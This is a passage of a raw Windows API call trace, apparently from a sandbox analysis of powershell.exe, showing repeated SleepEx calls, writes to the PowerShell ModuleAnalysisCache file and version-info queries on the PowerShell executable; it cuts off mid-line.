0x0 [0126.208] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.254] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.301] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.399] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.490] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.600] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.660] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.956] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.081] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.134] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.178] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.240] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.287] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.349] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.410] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.504] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.616] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.692] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.739] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.787] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.832] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.880] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.957] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.092] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.195] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.270] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.350] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.396] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.457] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.520] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0145.849] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0145.913] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0145.977] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0146.273] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0146.337] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0146.404] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0146.509] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0146.598] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0146.707] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0146.864] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0147.879] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0148.022] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0148.115] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0148.574] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0148.677] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0148.786] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0148.870] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0148.957] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0149.067] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0149.504] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0149.598] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0149.672] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0149.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0150.036] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0150.113] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0150.504] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0150.613] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0150.708] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0150.801] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0150.911] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0151.005] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0151.082] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0151.176] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0151.583] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0151.676] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0151.770] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0151.879] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0151.973] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0152.093] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0152.161] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0152.694] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0152.801] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0152.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0152.996] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0153.101] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0153.192] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0153.801] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0153.900] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0154.009] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0154.194] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0154.736] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0154.804] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0154.844] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0154.938] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.042] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0159.261] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x2504aff208 | out: UnbiasedTime=0x2504aff208) returned 1 [0159.284] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x20 [0159.284] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0159.284] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x4f, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x4e [0159.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2504afebf0) returned 1 [0159.284] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab5a498 | out: lpFileInformation=0x1cbdab5a498*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc924418, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xa6871230, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0xbdca)) returned 1 [0159.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2504afebb0) returned 1 [0159.287] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0159.287] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x4f, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x4e [0159.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2504afeb40) returned 1 [0159.287] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x9c4 [0159.289] GetFileType (hFile=0x9c4) returned 0x1 [0159.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2504afeab0) returned 1 [0159.289] GetFileType (hFile=0x9c4) returned 0x1 [0159.296] WriteFile (in: hFile=0x9c4, lpBuffer=0x1cbdab5a658*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2504afeb88, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5a658*, lpNumberOfBytesWritten=0x2504afeb88*=0x1000, lpOverlapped=0x0) returned 1 [0159.297] WriteFile (in: hFile=0x9c4, lpBuffer=0x1cbdab5a658*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2504afebc8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5a658*, lpNumberOfBytesWritten=0x2504afebc8*=0x1000, lpOverlapped=0x0) returned 1 [0159.299] WriteFile (in: hFile=0x9c4, lpBuffer=0x1cbdab5a658*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2504afec18, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5a658*, lpNumberOfBytesWritten=0x2504afec18*=0x1000, lpOverlapped=0x0) returned 1 [0159.300] WriteFile (in: hFile=0x9c4, lpBuffer=0x1cbdab5a658*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2504afec18, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5a658*, lpNumberOfBytesWritten=0x2504afec18*=0x1000, lpOverlapped=0x0) returned 1 [0159.300] WriteFile (in: hFile=0x9c4, lpBuffer=0x1cbdab5a658*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2504afec18, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5a658*, lpNumberOfBytesWritten=0x2504afec18*=0x1000, lpOverlapped=0x0) returned 1 [0159.300] WriteFile (in: hFile=0x9c4, lpBuffer=0x1cbdab5a658*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2504afec18, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5a658*, lpNumberOfBytesWritten=0x2504afec18*=0x1000, lpOverlapped=0x0) returned 1 [0159.300] WriteFile (in: hFile=0x9c4, lpBuffer=0x1cbdab5a658*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2504afebc8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5a658*, lpNumberOfBytesWritten=0x2504afebc8*=0x1000, lpOverlapped=0x0) returned 1 [0159.301] WriteFile (in: hFile=0x9c4, lpBuffer=0x1cbdab5a658*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2504afeb88, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5a658*, lpNumberOfBytesWritten=0x2504afeb88*=0x1000, lpOverlapped=0x0) returned 1 [0159.301] WriteFile (in: hFile=0x9c4, lpBuffer=0x1cbdab5a658*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2504afec18, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5a658*, lpNumberOfBytesWritten=0x2504afec18*=0x1000, lpOverlapped=0x0) returned 1 [0159.301] WriteFile (in: hFile=0x9c4, lpBuffer=0x1cbdab5a658*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2504afec18, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5a658*, lpNumberOfBytesWritten=0x2504afec18*=0x1000, lpOverlapped=0x0) returned 1 [0159.301] WriteFile (in: hFile=0x9c4, lpBuffer=0x1cbdab5a658*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2504afec18, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5a658*, lpNumberOfBytesWritten=0x2504afec18*=0x1000, lpOverlapped=0x0) returned 1 [0159.302] WriteFile (in: hFile=0x9c4, lpBuffer=0x1cbdab5a658*, nNumberOfBytesToWrite=0xdca, lpNumberOfBytesWritten=0x2504afeb38, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5a658*, lpNumberOfBytesWritten=0x2504afeb38*=0xdca, lpOverlapped=0x0) returned 1 [0159.302] CloseHandle (hObject=0x9c4) returned 1 [0159.305] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0159.305] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x4f, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x4e [0159.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2504afebf0) returned 1 [0159.305] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab75cc8 | out: lpFileInformation=0x1cbdab75cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc924418, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x1224fee8, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0xbdca)) returned 1 [0159.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2504afebb0) returned 1 [0159.451] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0159.592] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0159.699] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0159.793] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0159.847] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0159.901] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0159.941] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0159.979] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.021] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.072] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.128] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.149] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.245] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.331] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.552] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.606] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.645] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.732] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.793] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.837] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.877] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.928] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0160.970] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.017] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.082] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.165] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.187] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.201] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.208] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.211] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.241] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.244] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.295] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.366] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.409] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.447] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.486] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.611] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.659] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.695] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.709] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.792] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.837] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.877] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.925] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0161.969] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.017] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.067] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.128] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.220] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.321] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.380] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.461] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.506] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.592] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.645] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.680] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.693] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.729] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.732] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.735] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.837] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.874] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.901] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.909] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.913] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.941] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0162.986] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0163.006] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0163.033] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0163.062] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0163.066] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0163.076] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0163.121] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 Thread: id = 151 os_tid = 0xd5c Thread: id = 152 os_tid = 0xda0 Thread: id = 153 os_tid = 0x60 Thread: id = 154 os_tid = 0xb60 [0113.130] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0113.131] CoGetContextToken (in: pToken=0x2504c7faa0 | out: pToken=0x2504c7faa0) returned 0x0 [0113.131] CObjectContext::QueryInterface () returned 0x0 [0113.131] CObjectContext::GetCurrentThreadType () returned 0x0 [0113.131] Release () returned 0x0 [0113.131] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0113.131] CoUninitialize () [0113.131] RoInitialize () returned 0x1 [0113.131] RoUninitialize () returned 0x0 [0113.135] GetCurrentProcessId () returned 0x6d0 [0113.135] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6d0) returned 0x5c4 [0113.135] EnumProcessModules (in: hProcess=0x5c4, lphModule=0x1cbda636a50, cb=0x200, lpcbNeeded=0x2504c7f100 | out: lphModule=0x1cbda636a50, lpcbNeeded=0x2504c7f100) returned 1 [0113.135] GetModuleInformation (in: hProcess=0x5c4, hModule=0x7ff620360000, lpmodinfo=0x1cbda636cc0, cb=0x18 | out: lpmodinfo=0x1cbda636cc0*(lpBaseOfDll=0x7ff620360000, SizeOfImage=0x70000, EntryPoint=0x7ff620362ee0)) returned 1 [0113.135] CoTaskMemAlloc (cb=0x804) returned 0x1cbf2810c30 [0113.135] GetModuleBaseNameW (in: hProcess=0x5c4, hModule=0x7ff620360000, lpBaseName=0x1cbf2810c30, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0113.135] CoTaskMemFree (pv=0x1cbf2810c30) [0113.135] CoTaskMemAlloc (cb=0x804) returned 0x1cbf2810c30 [0113.135] GetModuleFileNameExW (in: hProcess=0x5c4, hModule=0x7ff620360000, lpFilename=0x1cbf2810c30, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0113.135] CoTaskMemFree (pv=0x1cbf2810c30) [0113.135] CloseHandle (hObject=0x5c4) returned 1 [0113.138] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x104, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0113.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2504c7eff0) returned 1 [0113.138] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x2504c7f0d0 | out: lpFileInformation=0x2504c7f0d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e12506a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e12506a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e12506a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6ce00)) returned 1 [0113.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2504c7efb0) returned 1 [0113.139] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpdwHandle=0x2504c7f1a8 | out: lpdwHandle=0x2504c7f1a8) returned 0x72c [0113.139] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", dwHandle=0x0, dwLen=0x72c, lpData=0x1cbda638fd8 | out: lpData=0x1cbda638fd8) returned 1 [0113.139] VerQueryValueW (in: pBlock=0x1cbda638fd8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x2504c7f128, puLen=0x2504c7f120 | out: lplpBuffer=0x2504c7f128*=0x1cbda639368, puLen=0x2504c7f120) returned 1 [0113.139] VerQueryValueW (in: pBlock=0x1cbda638fd8, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\CompanyName", lplpBuffer=0x2504c7f0c8, puLen=0x2504c7f0c0 | out: lplpBuffer=0x2504c7f0c8*=0x1cbda639090, puLen=0x2504c7f0c0) returned 1 [0113.139] VerQueryValueW (in: pBlock=0x1cbda638fd8, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\FileDescription", lplpBuffer=0x2504c7f0c8, puLen=0x2504c7f0c0 | out: lplpBuffer=0x2504c7f0c8*=0x1cbda6390e4, puLen=0x2504c7f0c0) returned 1 [0113.139] VerQueryValueW (in: pBlock=0x1cbda638fd8, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\FileVersion", lplpBuffer=0x2504c7f0c8, puLen=0x2504c7f0c0 | out: lplpBuffer=0x2504c7f0c8*=0x1cbda63912c, puLen=0x2504c7f0c0) returned 1 [0113.139] VerQueryValueW (in: pBlock=0x1cbda638fd8, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\InternalName", lplpBuffer=0x2504c7f0c8, puLen=0x2504c7f0c0 | out: lplpBuffer=0x2504c7f0c8*=0x1cbda639194, puLen=0x2504c7f0c0) returned 1 [0113.139] VerQueryValueW (in: pBlock=0x1cbda638fd8, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\LegalCopyright", lplpBuffer=0x2504c7f0c8, puLen=0x2504c7f0c0 | out: lplpBuffer=0x2504c7f0c8*=0x1cbda6391d0, puLen=0x2504c7f0c0) returned 1 [0113.140] VerQueryValueW (in: pBlock=0x1cbda638fd8, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\OriginalFilename", lplpBuffer=0x2504c7f0c8, puLen=0x2504c7f0c0 | out: lplpBuffer=0x2504c7f0c8*=0x1cbda639254, puLen=0x2504c7f0c0) returned 1 [0113.140] VerQueryValueW (in: pBlock=0x1cbda638fd8, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\ProductName", lplpBuffer=0x2504c7f0c8, puLen=0x2504c7f0c0 | out: lplpBuffer=0x2504c7f0c8*=0x1cbda63929c, puLen=0x2504c7f0c0) returned 1 [0113.140] VerQueryValueW (in: pBlock=0x1cbda638fd8, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\ProductVersion", lplpBuffer=0x2504c7f0c8, puLen=0x2504c7f0c0 | out: lplpBuffer=0x2504c7f0c8*=0x1cbda63930c, puLen=0x2504c7f0c0) returned 1 [0113.140] VerQueryValueW (in: pBlock=0x1cbda638fd8, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\Comments", lplpBuffer=0x2504c7f0c8, puLen=0x2504c7f0c0 | out: lplpBuffer=0x2504c7f0c8*=0x0, puLen=0x2504c7f0c0) returned 0 [0113.140] VerQueryValueW (in: pBlock=0x1cbda638fd8, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\LegalTrademarks", lplpBuffer=0x2504c7f0c8, puLen=0x2504c7f0c0 | out: lplpBuffer=0x2504c7f0c8*=0x0, puLen=0x2504c7f0c0) returned 0 [0113.140] VerQueryValueW (in: pBlock=0x1cbda638fd8, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\PrivateBuild", lplpBuffer=0x2504c7f0c8, puLen=0x2504c7f0c0 | out: lplpBuffer=0x2504c7f0c8*=0x0, puLen=0x2504c7f0c0) returned 0 [0113.140] VerQueryValueW (in: pBlock=0x1cbda638fd8, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\SpecialBuild", lplpBuffer=0x2504c7f0c8, puLen=0x2504c7f0c0 | out: 